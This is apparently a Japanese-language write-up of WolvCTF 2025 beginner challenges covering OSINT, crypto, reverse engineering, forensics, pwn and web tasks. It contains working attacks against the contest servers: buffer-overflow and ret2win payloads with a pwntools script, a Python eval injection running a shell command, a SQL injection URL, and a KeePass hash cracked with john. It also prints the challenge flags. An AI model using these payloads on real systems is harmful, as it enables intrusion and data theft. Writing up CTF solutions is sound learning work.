WolvCTF 2025
Jeopardy
2025/3/21, 23:00 UTC — 20253/23, 23:00 UTC
Wintery
As the snow has once again started to fall, I spotted a flag afar. Can you find where this picture was taken? Truncate your coordinates to 3 decimal places.
Flag format: wctf{latitude,longitude}
写真からわかる以下の情報をもとにGoogleMapで探す
- Michigan Unionの旗
- 右下に屋根がある
South Quadrangleが当てはまると分かる
flag
wctf{42.27386,-83.74194}
Lost
I need your help. My friend Jimmy has absolutely zero sense of direction and may or may not have gotten himself lost. Like, super duper lost. All I know is his flight should’ve taken off from somewhere in the US at 12:59 PM on March 17th, and this picture that he sent me. Can you tell me what flight he is on? (Flag format: wctf{XX####}, use IATA airline code)
わかること
- 空港
- タワーがある
- 大きなFedExの建物がある
- FedExの建物の横に道路みたいなものがある
3月7日午後1時26分/1時27分 (東部標準時)、その時間にEWRを出発したのはUA2050便
flag
wctf{UA2050}
Beginner
以下のJWTが与えられる
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InNhbSIsImlzQWRtaW4iOmZhbHNlLCJpYXQiOjE3Mzg4ODc2OTQsImV4cCI6MTczODg4OTQ5NH0.KrRwMea_fXtfp-IbvFCn3Q-HiNVMitips0SVxODfGJc
/TOKEN_SECRET.txt
fa43623fc456bf3a62ea923f4e7a009f0aeec4a0032670ed6fc90bd268e4c62c896699572b914cb15806695fcb1f6eb3141c9bc86a87cca1bda98e1429aa902b
wctf{jw7_l34rn1n6_15_fun_135624154}
DigginDir
Author: carmengh
So I tripped on an uneven sidewalk today.... and I dropped the flag somewhere (oops). It's gotta be here somewhere..... right?
Unlock Hint for 0 points
I wish there was a linux utility that let me search for stuff...
解凍すると以下のようなものが沢山出てくる
┌──(kali㉿kali)-[/media/…/ctf/WolvCTF_2025/Beginner/fore]
└─$ tar -xzvf dist.tar.gz
challenge/
challenge/0Egu9cCmH2tWMB48Uiw1N1Jfm/
challenge/0Egu9cCmH2tWMB48Uiw1N1Jfm/file.txt
challenge/0ghc6cHZYcqBUw1RrmWFmGKJK/
challenge/0ghc6cHZYcqBUw1RrmWFmGKJK/file.txt
challenge/0p82csvfHLnuwY8b6Cu9vK7LW/
challenge/0p82csvfHLnuwY8b6Cu9vK7LW/file.txt
challenge/0XYH4DKRibzfdJcnv5QtLBclk/
challenge/0XYH4DKRibzfdJcnv5QtLBclk/file.txt
challenge/13hyqkkQnjrV9LcXzdP8mUIf1/
challenge/13hyqkkQnjrV9LcXzdP8mUIf1/file.txt
challenge/1L1h3xlvFIMRTsnPEZWEv0X4K/
challenge/1L1h3xlvFIMRTsnPEZWEv0X4K/file.txt
challenge/29Lw3QDk6tF1stuax3U0Dn2EK/
challenge/29Lw3QDk6tF1stuax3U0Dn2EK/file.txt
solve
grepで行けるんじゃないかと思いやるとできた
ディレクトリ内のすべてのファイルを検索し、wctf{を含む部分を出力
┌──(kali㉿kali)-[/media/…/WolvCTF_2025/Beginner/fore/challenge]
└─$ grep -r "wctf{" *
EUOlptwlpqPt5qrGlMnFpbat6/.secret:wctf{0h_WOW_tH@Nk5_yOu_f0U^d_1t_xD}
flag
wctf{0h_WOW_tH@Nk5_yOu_f0U^d_1t_xD}
EtTuCaesar - Crypto
Caesar has left a you a note encrypted with his favorite cipher, but he seems to have jumbled things even further. Can you restore his message?
What if I put the note in the shape of a square?
与えられたもの
tzc3Sq{k!ss!a!__FZ!!_!11}
solve
ROTで3にするとwcf3Vt{n!vv!d!__IC!!_!11}
が現れる
5文字ずつに並べると正方形になる、左上から斜めに↙このように読むと分かる
wcf3V
t{n!v
v!d!_
_IC!!
_!11}
flag
wctf{v3n!_V!dI_v!C!_1!1}
OverAndOver - Crypto
You found a strange string that seems to be encoded with base64... yet still scrambled after decoding...
encode.txtが与えられるのでfrom base64を繰り返す(17回くらい繰り返すと出てくる)
Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTV0ZKdGVGWlZNakExVmpBeFYySkVUbGhoTWsweFZtcEtTMUl5U2tWVWJHaG9UVmhDVVZadGVGWmxSbGw1Vkd0c2FsSnRhRzlVVm1oRFZWWmFjVkZ0UmxSTmF6RTFWVEowVjFaWFNraGhSemxWVmpOT00xcFZXbUZrUjA1R1pFWlNUbFpYZHpGV1ZFb3dWakZhV0ZOcmFHaFNlbXhXVm1wT1QwMHhjRlpYYlVaclVqQTFSMVV5TVRSVk1rcElaSHBHVjFaRmIzZFdha1poVjBaT2NtRkhhRk5sYlhoWFZtMHdlR0l4U2tkWGJHUllZbFZhY2xWcVJtRlRSbGw1VFZSU1ZrMXJjRWxhU0hCSFZqSkZlVlZZWkZwbGEzQklXWHBHVDJSV1ZuUmhSazVzWWxob1dGWnRNSGRsUjBsNFUydGtXR0pIVWxsWmJHaFRWMFpTVjJGRlRsTmlSbkJaV2xWb2ExWXdNVVZTYTFwV1lrWktSRlpxU2tkamJVVjZZVVphYUdFeGNHOVdha0poVkRKT2RGSnJaRmhpVjJoeldXeG9iMkl4V25STldHUlZUVlpXTlZWdGRHdFdNV1JJWVVac1dtSkhhRlJXTUZwVFZqRndSVkZyT1dsU00yaFlWbXBLTkZReFdsaFRhMlJxVW0xNGFGVXdhRU5TUmxweFVWaG9hMVpzV2pGV01uaHJZVWRGZWxGcmJGZFdNMEpJVmtSS1UxWXhWblZWYlhCVFlYcFdXVlpYY0U5aU1rbDRWMWhvWVZKR1NuQlVWbHBYVGtaYVdHUkhkRmhTTUhCNVZHeGFjMWR0U2tkWGJXaGFUVzVvV0ZsNlJsZGpiSEJIWVVkc1UwMHhSalpXYWtvd1ZURlZlRmR1U2s1WFJYQnhWV3hrTkdGR1ZYZGhSVTVVVW14d2VGVXlkR0ZpUmxwelYyeHdXR0V4Y0ROWmEyUkdaV3hHY21KR1pHbFhSVXBKVm10U1MxVXhXWGhYYmxaVllrZG9jRlpxU205bGJHUllaVWM1YVUxcmJEUldNalZUVkd4a1NGVnNXbFZXYkhCWVZHeGFWMlJIVWtoa1JtUk9WakZLU2xkV1ZtRmpNV1IwVTJ0a1dHSlhhR0ZVVmxwM1ZrWmFjVkp0ZEd0U2EzQXdXbFZhYTJGV1NuTmhNMmhYWVRGd2FGWlVSbFpsUm1SMVUyczFXRkpZUW5oV1Z6QjRZakZaZUZWc2FFOVdhelZ6V1d0YWQyVkdWWGxrUkVKWFRWWndlVll5ZUhkWGJGcFhZMGRvV21FeVVrZGFWV1JQVTFkS1IxcEdaRk5XV0VKMlZtMTBVMU14VVhsVmEyUlVZbXR3YUZWdE1XOWpSbHB4VkcwNVYxWnRVbGhXVjNNMVZXc3hXRlZyYUZkTmFsWlVWa2Q0WVZKc1RuTmhSbFpYVFRKb1NWWkhlR0ZaVm1SR1RsWmFVRlp0YUZSVVZXaERVMnhhYzFwRVVtcE5WMUl3VlRKMGExZEhTbGhoUjBaVlZteHdNMWxWV25kU2JIQkhWR3hTVTJFelFqVldSM2hoVkRKR1YxTnVVbEJXUlRWWVZGYzFiMWRHWkZkWGJFcHNWbXR3ZVZkcldtOWhWMFkyVm01b1YxWkZTbkpVYTFwclVqRldjMXBHYUdoTk1VcFdWbGN4TkdReVZrZFdibEpPVmxkU1YxUlhkSGRXTVd4eVZXMUdXRkl3VmpSWk1HaExWMnhhV0ZWclpHRldWMUpRVlRCVk5WWXlSa2hoUlRWWFltdEtNbFp0TVRCVk1VMTRWVmhzVlZkSGVGWlpWRVozWVVaV2NWTnRPVmRTYkVwWlZGWmpOV0pIU2toVmJHeGhWbGROTVZsV1ZYaFhSbFoxWTBaa1RsWXlhREpXYWtKclV6RmtWMVp1U2xCV2JIQnZXVlJHZDFOV1draGxSMFphVm0xU1IxUnNXbUZWUmxsNVlVaENWbUpIYUVOYVJFWmhZekZ3UlZWdGNFNVdNVWwzVmxSS01HRXhaRWhUYkdob1VqQmFWbFp0ZUhkTk1YQllaVWhLYkZaVVJsZFhhMXBQWVZaS2NtTkVXbGRoTWs0MFdYcEdWbVZXVG5WVGJGSnBWbFp3V1ZaR1l6RmlNV1JIV2taa1dHSkZjSE5WYlRGVFpXeHNWbGRzVG1oV2EzQXhWVmMxYjFZeFdYcGhTRXBYVmtWYWVsWnFSbGRqTVdSellVZHNWMVp1UWpaV01XUXdXVmRSZVZaclpGZFhSM2h5Vld0V1MxZEdVbGRYYm1Sc1ZteHNOVnBWYUd0WFIwcEhZMFpvV2sxSGFFeFdha3BIWTJ4a2NtVkdaR2hoTTBKUlZsZHdSMWxYVFhsU2EyUm9VbXhLVkZac2FFTlRNVnB4VW0xR1ZrMVZNVFJXYkdodlYwWmtTR0ZIYUZaTlJuQm9WbTE0YzJOc1pISmtSM0JUWWtoQ05GWlVTWGRPVjBwSVUydG9WbUpIZUdoV2JHUk9UVlpzVjFaWWFGaFNiRnA1V1ZWYWExUnRSbk5YYkZaWFlUSlJNRlY2Umt0ak1YQkpWbXhTYVZKc2NGbFhWM1J2VVRBMWMxZHJhR3hTTUZwaFZtMHhVMUl4VW5OWGJVWldVbXh3TUZaWGN6VldNa1p5VjJ0NFZrMXVhSEpXYWtaaFpFWktkR05GTlZkTlZXd3pWbXhTUzAxSFJYaGFSV2hVWWtkb2IxVnFRbUZXYkZwMFpVaGtUazFYZUZkV01qVnJWVEpLU1ZGcmFGZFNNMmhVVm1wS1MyTnNUbkpoUm1SVFRUSm9iMVpyVWt0U01XUkhVMnhzWVZJelFsUldhazV2VjFaa1dHVkhPVkpOVlRFMFZsZDRhMWxXU2xkalNFNVdZbFJHVkZZeWVHdGpiRnBWVW14b1UyRXpRbUZXVm1NeFlqRlplRmRZY0doVFJYQmhXVmQwWVdWc1duRlNiR1JxVFZkU2VsbFZaRzlVYXpGV1kwUktWMkpIVGpSVWEyUlNaVlphY2xwR1pHbGlSWEJRVm0xNGExVXlTWGhWYkdSWFltMVNjMWxyV25OT1ZuQldXa1ZrVjAxcmNFaFphMUpoVjJ4YVdHRkZlRmROYm1ob1ZqQmFWMk5zY0VoU2JHUlhUVlZ3VWxac1pIZFNNV3hZVkZoc1UyRXlVbTlWYlhoTFZrWmFjMkZGVGxSTlZuQXdWRlpTUTFack1WWk5WRkpYVm0xb2VsWnNXbXRUUjBaSVlVWmFUbEp1UW05V2JURTBZekpPYzFwSVNtdFNNMEpVV1d0YWQwNUdXbGhOVkVKT1VteHNORll5TlU5aGJFcFlZVVpvVjJGck5WUldSVnB6VmxaR1dXRkdUbGRoTTBJMlZtdGtORmxXVlhsVGExcFlWMGhDV0Zac1duZFNNVkY0VjJ0T1ZtSkZTbFpVVlZGM1VGRTlQUT09
flag
wctf{bA5E_tWo_p0W_s!X}
p0wn3d - Pwn
An introduction to pwn challenges. This is to protect the babies from last year!
nc p0wn3d.kctf-453514-codelab.kctf.cloud 1337
main.c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
struct __attribute__((__packed__)) data {
char buf[32];
int guard;
};
void ignore(void)
{
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
}
void get_flag(void)
{
char flag[1024] = { 0 };
FILE *fp = fopen("flag.txt", "r");
fgets(flag, 1023, fp);
printf(flag);
}
int main(void)
{
struct data first_words;
ignore(); /* ignore this function */
printf("Hello little p0wn3r. Do you have any first words?\n");
fgets(first_words.buf, 64, stdin);
sleep(2);
puts("Man that is so cute");
sleep(2);
puts("I remember last year people were screaming at the little p0wn3rs.. like AAAAAAAAAAAAAAAAAAAAAAAAAAAAA!");
sleep(2);
puts("Don't worry little one. I won't let them do that to you. I've set up a guard");
if (first_words.guard == 0x42424242) {
get_flag();
}
return 0;
}
solve
バッファオーバーフローの脆弱性がある
-
fgets で first_words.buf に 64 バイトまで入力を受け付けていますが、buf は 32 バイトしか確保されていません。これにより、guard の値が不正に変更され、get_flag() 関数が呼ばれる
-
32バイト分guardを埋めて、0x42424242(リトルエンディアン)を満たせばいい
$ python3 -c "print('A'*32 + '\x42\x42\x42\x42')" | nc p0wn3d.kctf-453514-codelab.kctf.cloud 1337
== proof-of-work: disabled ==
Hello little p0wn3r. Do you have any first words?
Man that is so cute
I remember last year people were screaming at the little p0wn3rs.. like AAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Don't worry little one. I won't let them do that to you. I've set up a guard
wctf{pwn_1s_l0v3_pwn_1s_l1f3}
flag
wctf{pwn_1s_l0v3_pwn_1s_l1f3}
p0wn3d_2 - Pwn
You can scream... Whatever. Can you be precise tho?
nc p0wn3d2.kctf-453514-codelab.kctf.cloud 1337
解凍する
└─$ tar -xzvf dist.tar.gz
chal
main.c
main.c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
struct __attribute__((__packed__)) data {
char buf[32];
int guard1;
int guard2;
};
void ignore(void)
{
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
}
void get_flag(void)
{
char flag[1024] = { 0 };
FILE *fp = fopen("flag.txt", "r");
fgets(flag, 1023, fp);
printf(flag);
}
int main(void)
{
struct data second_words;
ignore(); /* ignore this function */
printf("I can't believe you just did that. Do you have anything to say for yourself?\n");
fgets(second_words.buf, 64, stdin);
sleep(2);
puts("Yeah Yeah whatever");
sleep(2);
puts("I've got two guards now, what are you gonna do about it?");
sleep(2);
if (second_words.guard1 == 0xdeadbeef && second_words.guard2 == 0x0badc0de) {
get_flag();
}
return 0;
}
分析
- buf が 32 バイト、guard1 と guard2 がそれぞれ 4 バイトとして定義
- fgets(second_words.buf, 64, stdin)で、32バイトのバッファに対して64バイトまで読み込もうとしている
solve
バッファオーバーフローを利用する
- Aを32バイト送信してbufを埋める
- 次の4バイトにguard1の値(0xdeadbeef)をリトルエンディアン形式で設定
- 続く4バイトにguard2の値(0x0badc0de)をリトルエンディアン形式で設定
#!/usr/bin/env python3
from pwn import *
conn = remote('p0wn3d2.kctf-453514-codelab.kctf.cloud', 1337)
# エクスプロイトペイロードを構築
payload = b'A' * 32 # bufを埋める
payload += p32(0xdeadbeef) # guard1 (リトルエンディアン)
payload += p32(0x0badc0de) # guard2 (リトルエンディアン)
# 最初のプロンプトを読み込む
print(conn.recvline().decode())
# ペイロードを送信
conn.sendline(payload)
print(conn.recvall().decode())
出力
$$ python3 solve.py
[+] Opening connection to p0wn3d2.kctf-453514-codelab.kctf.cloud on port 1337: Done
== proof-of-work: disabled ==
[+] Receiving all data: Done (188B)
[*] Closed connection to p0wn3d2.kctf-453514-codelab.kctf.cloud port 1337
I can't believe you just did that. Do you have anything to say for yourself?
Yeah Yeah whatever
I've got two guards now, what are you gonna do about it?
wctf{4ll_y0uR_mEm_4r3_bel0ng_2_Us}
flag
wctf{4ll_y0uR_mEm_4r3_bel0ng_2_Us}
p0wn3d_3 - Pwn
Time for a little bit of control flow redirection
nc p0wn3d3.kctf-453514-codelab.kctf.cloud 1337
Unlock Hint for 0 points
Hint: look up what ret2win is
与えられたソースコード
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void ignore(void)
{
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
}
void get_flag(void)
{
char *args[] = {"/bin/cat", "flag.txt", NULL};
execve(args[0], args, NULL);
}
int main(void)
{
char buf[32];
ignore(); /* ignore this function */
printf("Now this is an original challenge. I don't think I've ever seen something like this before\n");
sleep(2);
gets(buf);
puts("Drumroll please!");
sleep(2);
return 0;
}
solve
ret2winの脆弱性を利用する
スタックオーバーフローを利用して、リターンアドレスを書き換え、プログラムの正常な実行フローから特定のwin関数(この場合はget_flag())にリダイレクトする手法
- gets(buf)関数が使用されていて、長さチェックがないためバッファオーバーフロー脆弱性がある
- bufは32バイトしかありませんが、getsは入力の長さを制限してない
- get_flag()関数があり、呼び出されれば/bin/cat flag.txtを実行してフラグを表示する
[ スタック構造 ]
| AAAA.... (32バイト) | ← バッファ (buf)
| Saved RBP (8バイト) | ← 上書き可能
| Return Address (8バイト) | ← ここを書き換えれば制御可能!
リターンアドレスget_flag()のアドレスを調べる
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x0000000000401000 _init
0x0000000000401030 puts@plt
0x0000000000401040 execve@plt
0x0000000000401050 gets@plt
0x0000000000401060 setvbuf@plt
0x0000000000401070 sleep@plt
0x0000000000401080 _start
0x00000000004010b0 _dl_relocate_static_pie
0x00000000004010c0 deregister_tm_clones
0x00000000004010f0 register_tm_clones
0x0000000000401130 __do_global_dtors_aux
0x0000000000401160 frame_dummy
0x0000000000401162 ignore
0x00000000004011a5 get_flag
0x00000000004011e0 main
0x0000000000401230 __libc_csu_init
0x0000000000401290 __libc_csu_fini
0x0000000000401294 _fini
(gdb) exit
0x4011a5がリターンアドレスget_flagと分かった
出力
$ python3 solve.py
[+] Opening connection to p0wn3d3.kctf-453514-codelab.kctf.cloud on port 1337: Done
== proof-of-work: disabled ==
[*] Switching to interactive mode
Drumroll please!
wctf{gr4dua73d_fr0m_l1ttl3_p0wn3r!}
[*] Got EOF while reading in interactive
flag
wctf{gr4dua73d_fr0m_l1ttl3_p0wn3r!}
PicturePerfect - Forensics
Wow what a respectful, happy looking lad! Hmmmmmmm, all I see is a snowman... maybe some details from the image file itself will lead us to the flag.
hi_snowman.jpgが与えられるのでメタデータ確認する
┌──(kali㉿kali)-[/media/sf_vm_share/ctf/WolvCTF_2025/forensic]
└─$ exiftool hi_snowman.jpg
ExifTool Version Number : 12.76
File Name : hi_snowman.jpg
Directory : .
File Size : 4.1 MB
File Modification Date/Time : 2025:03:23 12:36:46+09:00
File Access Date/Time : 2025:03:23 13:09:35+09:00
File Inode Change Date/Time : 2025:03:23 12:36:46+09:00
File Permissions : -rwxrwx---
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : inches
X Resolution : 96
Y Resolution : 96
Exif Byte Order : Big-endian (Motorola, MM)
Padding : (Binary data 268 bytes, use -b option to extract)
XMP Toolkit : Image::ExifTool 11.88
About : uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b
Title : wctf{d0_yOU_w@nt_t0_BUiLd_a_Sn0Wm@n}
Image Width : 3024
Image Height : 4032
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 3024x4032
Megapixels : 12.2
flag
wctf{d0_yOU_w@nt_t0_BUiLd_a_Sn0Wm@n}
REdata - Rev
An eZ RE challenge.
dist.tar.gzが与えられるので解凍する
┌──(kali㉿kali)-[/media/…/ctf/WolvCTF_2025/Beginner/rev2]
└─$ ls
dist.tar.gz redata
stringsで行けた
┌──(kali㉿kali)-[/media/…/ctf/WolvCTF_2025/Beginner/rev2]
└─$ strings redata | grep ctf{
wctf{n0_w4y_y0u_f0unD_1t!}
flag
wctf{n0_w4y_y0u_f0unD_1t!}
REverse
I hate when when RE challenges just make me do something backwards...
解凍する
┌──(kali㉿kali)-[/media/sf_vm_share/ctf/WolvCTF_2025/Beginner]
└─$ tar -xzvf dist.tar.gz
reverse
out.txt
┌──(kali㉿kali)-[/media/sf_vm_share/ctf/WolvCTF_2025/Beginner]
└─$ ls
dist.tar.gz out.txt reverse
┌──(kali㉿kali)-[/media/sf_vm_share/ctf/WolvCTF_2025/Beginner]
└─$ cat out.txt
Mixed Flag: t`qcxo0s0o2.kd\.k\o0s0o20z
┌──(kali㉿kali)-[/media/sf_vm_share/ctf/WolvCTF_2025/Beginner]
└─$ cat reverse
@@@@�▒▒▒�� DD�-�=�=���-�=�=�8880hhhDDS
https://dogbolt.org/
このサイトでreverseデコンパイルすると
- Mixed Flag: t`qcxo0s0o2.kd.k\o0s0o20z
- 与えられた文字列(flag.txtから読み取ったデータ)に対して「文字のシフト」と「文字の入れ替え」を行う処理が行われているっぽい
solve
シーザー暗号の総当たり攻撃のスクリプト書いて実行するとShift 92でflagゲットできた
GPTが書いたスクリプトは以下
シーザー暗号では、文字をシフトして暗号化します。例えば、'A'を1シフトすると'B'になります。
上記のコードでは、総当たりでシーザー暗号の復号化を行いました。これは、暗号化されているテキストを1シフトから94シフトまで順番に試して、どれが正しいフラグを返すか確認する方法です。
シフトの範囲は、通常のシーザー暗号において、ASCIIコードで表示可能な文字(32〜126)のシフトで行いました。シフト範囲は通常1〜94です。
def caesar_decrypt(ciphertext, shift):
# シーザー暗号の復号化(指定したシフト分)
decrypted_text = ''.join(
[chr(((ord(c) - 32 - shift) % 95) + 32) if 32 <= ord(c) <= 126 else c for c in ciphertext]
)
return decrypted_text
def brute_force_caesar(ciphertext):
# すべてのシフトを試して復号化
for shift in range(1, 95): # 1から94までのシフトを試す(ASCII 32〜126の範囲)
decrypted = caesar_decrypt(ciphertext, shift)
print(f"Shift {shift}: {decrypted}")
# 混ぜ合わせたフラグ(例: "t`qcxo0s0o2.kd\\.k\\o0s0o20z")
ciphertext = "t`qcxo0s0o2.kd\\.k\\o0s0o20z"
# 総当たり
brute_force_caesar(ciphertext)
出力
Shift 88: {gxj v7z7v95rkc5rcv7z7v97"
Shift 89: zfwi~u6y6u84qjb4qbu6y6u86!
Shift 90: yevh}t5x5t73pia3pat5x5t75
Shift 91: xdug|s4w4s62oh`2o`s4w4s64~
Shift 92: wctf{r3v3r51ng_1n_r3v3r53}
Shift 93: vbsezq2u2q40mf^0m^q2u2q42|
Shift 94: uardyp1t1p3/le]/l]p1t1p31{
flag
wctf{r3v3r51ng_1n_r3v3r53}
Eval is Evil
If eval is so bad, then why is it so easy to use?
nc evalisevil.kctf-453514-codelab.kctf.cloud 1337
chall.py
import random
def main():
print("Let's play a game, I am thinking of a number between 0 and", 2 ** 64, "\n")
try:
guess = eval(input("What is the number?: "))
except:
guess = 0
correct = random.randint(0, 2**64)
if (guess == correct):
print("\nCorrect! You won the flag!")
flag = open("flag.txt", "r").readline()
print(flag)
else:
print("\nYou lost lol")
main()
- eval(input("What is the number?: ")) で入力を評価
- ランダムな数値 correct が生成され、入力した値と比較
- 一致すれば flag.txt からフラグが表示される
solve
- eval() 関数を使っているので、数字以外の任意のPythonコードを実行できる
__import__('os').system('cat flag.txt')
osモジュールをインポートして、シェルコマンド cat flag.txt を実行し、フラグを直接表示させる
$ nc evalisevil.kctf-453514-codelab.kctf.cloud 1337
== proof-of-work: disabled ==
Let's play a game, I am thinking of a number between 0 and 18446744073709551616
What is the number?: __import__('os').system('cat flag.txt')
wctf{Why_Gu3ss_Wh3n_Y0u_C4n_CH34T}
flag
wctf{Why_Gu3ss_Wh3n_Y0u_C4n_CH34T}
Sanity Check
check out our discord!
the flag is the topic of the #faq channel
flag
wctf{m1chigan_NCAA_champi0ns_inc0ming}
Irregularity
I'd like you to show me the push-down automata for this one
// im so sorry
let r = /^wctf{(((?=(.{5}4))(((?=(.{2}g.(l)))(r3)).(?<=(r)..)u\7)).\9).{12}(\x5f)(?<=(\1(?:\10)(?:((?=(.{2}p[^-]([^-])5))(3x)).((?=(.{2}(\x355)))(((?=(.3))r)))...3{0,0}))(\x31)(0)n5.)m\23{1,1}(?=.(..))\8_l(\22)k(?:\24)\25r(?=\11).{8}[\w\d]{7}i..s(?<=\23n.)_smh_((?=(.{6}(z)((?=(.{2}9))((?<=z)(?=........r)(?<=(K)....).(4)(?<=O.{5}(.).))).TC(?=.b)))(Q.\32(?=.{4}i).E(?=.{9}L)f)).{6}\28...(?<=...U.{12})}$/
let flag = 'wctf{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}'
if (r.test(flag)) {
console.log("yes");
}
flag
wctf{r3gul4r_3xpr35510n5_m0r3_l1k3_1rr3gul4r_3xpr355i0ns_smh_QOKUEfzi49TCzbLr}
Javascript Puzzle
It is often useful to force exceptions to potentially get back valuable information.
Can you make a request which causes an exception in this app?
https://js-puzzle-974780027560.us-east5.run.app
@author: SamXML
┌──(kali㉿kali)-[/media/sf_vm_share/ctf/WolvCTF_2025/web]
└─$ tar -xzvf dist.tar.gz
./
./Dockerfile
./flag.txt
./package-lock.json
./package.json
./docker-compose.yml
./app.js
app.js見てみる
const express = require('express')
const app = express()
const port = 8000
app.get('/', (req, res) => {
try {
const username = req.query.username || 'Guest'
const output = 'Hello ' + username
res.send(output)
}
catch (error) {
res.sendFile(__dirname + '/flag.txt')
}
})
app.listen(port, () => {
console.log(`Server is running at http://localhost:${port}`)
})
- try-catchブロック内でerrorが発生すると/flag.txtを送信される
- catch内でres.sendFile(__dirname + '/flag.txt') を実行するため、例外を発生させるとフラグを取得できる可能性がある
solve
- usernameに特殊な値を渡し、try内でエラーを発生させる
- toStringでエラーを起こす
burpで/?username[toString]=
を送るとflagが返ってきた
flag
wctf{3xc3pt10n5_4r3_y0ur_fr13nd_14285137553}
Limited 1
Can you attack the menu system to read the flag that is in a comment inside the query itself?
(source provided as dist.tar.gz)
Note: This is the first in a series of 3 challenges
initialize.sql
USE ctf;
-- This password is 13 characters and can be found in rockyou.
-- It is the flag for one of the challenges using this source
-- BUT it needs to be wrapped by wctf{} before submitting.
create user 'flag' identified by 'REDACTED_FLAG';
grant select on mysql.user to ctf;
-- The actual name of this table in the host challenge starts with Flag_ but is unguessable.
CREATE TABLE Flag_REDACTED
(
value VARCHAR(255) NOT NULL
);
INSERT INTO Flag_REDACTED (value) VALUES ('wctf{redacted-flag}');
- Flag_REDACTEDというテーブルにフラグが保存されている
app.py
- /query エンドポイント
price = float(request.args.get('price') or '0.00')
price_op = str(request.args.get('price_op') or '>')
limit = str(request.args.get('limit') or '1')
query = f"""SELECT /*{FLAG1}*/category, name, price, description FROM Menu
WHERE price {price_op} {price} ORDER BY 1 LIMIT {limit}"""
- price_op の長さチェック(4文字以内)もある。
- limit には特にフィルタリングがないため、SQLインジェクションの可能性
solve
- SQLインジェクションの利用する
SELECT /*wctf{redacted-flag}*/ category, name, price, description
FROM Menu
WHERE price < /* ORDER BY 1
LIMIT */ 0
UNION SELECT 1, (SELECT info FROM information_schema.processlist WHERE id = CONNECTION_ID()), 3, 4 --
https://limited-app-974780027560.us-east5.run.app/query?price=10.00&price_op=< /&limit=/ 0 UNION SELECT 1, (SELECT info FROM information_schema.processlist WHERE id = CONNECTION_ID()), 3, 4 --
flag
wctf{bu7_my5ql_h45_n0_curr3n7_qu3ry_func710n_l1k3_p0576r35_d035_25785458}
Passwords
I heard you're a hacker. Can you help me get my passwords back?
database.kdbxというファイルが与えられる
solve
タイトルのpasswordから察しの通りjohn使ってパスワードを求める
┌──(kali㉿kali)-[/media/sf_vm_share/ctf/WolvCTF_2025/forensic]
└─$ john database.hash
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 6000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 6 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
goblue1 (Database)
1g 0:00:00:13 DONE 2/3 (2025-03-23 13:16) 0.07246g/s 886.8p/s 886.8c/s 886.8C/s goblue1..gustavo1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
goblue1
と分かった
-
.kdbxの開き方について検索する
KeePass(キーパス)は、パスワードの管理と保護を目的としたフリーでオープンソースのソフトウェア -
ここからKeePassをインストールする
https://keepass.info/download.html
インストール完了して、ファイルを開くから与えられたモノを開くとパスワードを求められるのでgoblue1
でいけた
HomeBankingの所にflagを発見
flag
wctf{1_th0ught_1t_w4s_s3cur3?}